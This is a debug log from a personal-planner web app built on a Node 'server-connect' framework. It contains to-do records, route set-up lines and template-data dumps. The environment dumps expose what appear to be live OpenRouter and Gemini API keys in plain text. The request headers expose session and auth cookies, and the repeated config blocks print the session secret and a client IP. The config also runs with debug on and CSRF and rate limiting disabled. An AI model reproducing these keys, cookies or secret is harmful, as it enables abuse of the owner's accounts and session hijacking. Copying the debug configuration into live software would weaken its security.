    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-06-07T05:07:02.984Z server-connect:output queryActive: [
  {
    id: 1,
    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-06-07T05:07:04.887Z server-connect:router Serving templateView /house-planner
2026-06-07T05:07:04.888Z server-connect:app Executing action step identify
2026-06-07T05:07:04.888Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:04.888Z server-connect:output identity: 1
2026-06-07T05:07:04.888Z server-connect:app Executing action step restrict
2026-06-07T05:07:04.888Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:07:04.889Z server-connect:output restrict: undefined
2026-06-07T05:07:04.889Z server-connect:router Render template house-planner
2026-06-07T05:07:04.889Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:07:05.072Z server-connect:router Serving templateView /
2026-06-07T05:07:05.072Z server-connect:app Executing action step identify
2026-06-07T05:07:05.072Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:05.072Z server-connect:output identity: 1
2026-06-07T05:07:05.072Z server-connect:app Executing action step restrict
2026-06-07T05:07:05.072Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:07:05.073Z server-connect:output restrict: undefined
2026-06-07T05:07:05.073Z server-connect:app Executing action step restrict
2026-06-07T05:07:05.073Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:07:05.074Z server-connect:output restrict: undefined
2026-06-07T05:07:05.074Z server-connect:router Render template layouts/main
2026-06-07T05:07:05.074Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-07T07:41:48.331Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T07:41:50.602Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T07:41:51.468Z server-connect:setup:upload Upload middleware configured.
2026-06-07T07:41:51.468Z server-connect:secure CSRF Protection initialized
2026-06-07T07:41:51.475Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T07:41:51.478Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T07:41:51.479Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T07:41:51.481Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T07:41:51.488Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T07:41:51.490Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T07:41:51.504Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T07:41:51.517Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T07:41:51.522Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T07:41:51.524Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T07:41:51.526Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T07:41:51.530Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T07:41:51.535Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T07:41:51.545Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T07:41:51.549Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T07:41:51.621Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T07:41:51.623Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T07:41:51.627Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T07:41:51.633Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T07:41:51.637Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T07:41:51.639Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T07:41:51.647Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T07:41:51.649Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T07:41:51.655Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T07:41:51.655Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T07:41:51.660Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T07:41:51.662Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T07:41:51.664Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T07:41:51.670Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T07:41:51.673Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T07:41:51.673Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T07:41:51.676Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T07:41:51.680Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T07:41:51.682Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T07:41:51.688Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T07:41:51.692Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T07:41:51.694Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T07:41:51.703Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T07:41:52.240Z server-connect:router Serving templateView /
2026-06-07T07:41:52.245Z server-connect:app Executing action step identify
2026-06-07T07:41:52.245Z server-connect:app options: { provider: 'security' }
2026-06-07T07:41:52.256Z server-connect:auth No login cookie found
2026-06-07T07:41:52.256Z server-connect:output identity: false
2026-06-07T07:41:52.256Z server-connect:app Executing action step restrict
2026-06-07T07:41:52.256Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T07:41:52.260Z server-connect:output restrict: undefined
2026-06-07T08:07:38.628Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T20:33:14.880Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T20:33:17.148Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T20:33:18.010Z server-connect:setup:upload Upload middleware configured.
2026-06-07T20:33:18.011Z server-connect:secure CSRF Protection initialized
2026-06-07T20:33:18.016Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T20:33:18.019Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T20:33:18.020Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T20:33:18.021Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T20:33:18.029Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T20:33:18.031Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T20:33:18.044Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T20:33:18.059Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T20:33:18.062Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T20:33:18.065Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T20:33:18.066Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T20:33:18.070Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T20:33:18.076Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T20:33:18.086Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T20:33:18.089Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T20:33:18.160Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T20:33:18.164Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T20:33:18.168Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T20:33:18.174Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T20:33:18.177Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T20:33:18.180Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T20:33:18.188Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T20:33:18.188Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T20:33:18.195Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T20:33:18.197Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T20:33:18.201Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T20:33:18.204Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T20:33:18.205Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T20:33:18.211Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T20:33:18.213Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T20:33:18.215Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T20:33:18.218Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T20:33:18.221Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T20:33:18.223Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T20:33:18.229Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T20:33:18.232Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T20:33:18.235Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T20:33:18.244Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T20:33:18.842Z server-connect:router Serving templateView /
2026-06-07T20:33:18.847Z server-connect:app Executing action step identify
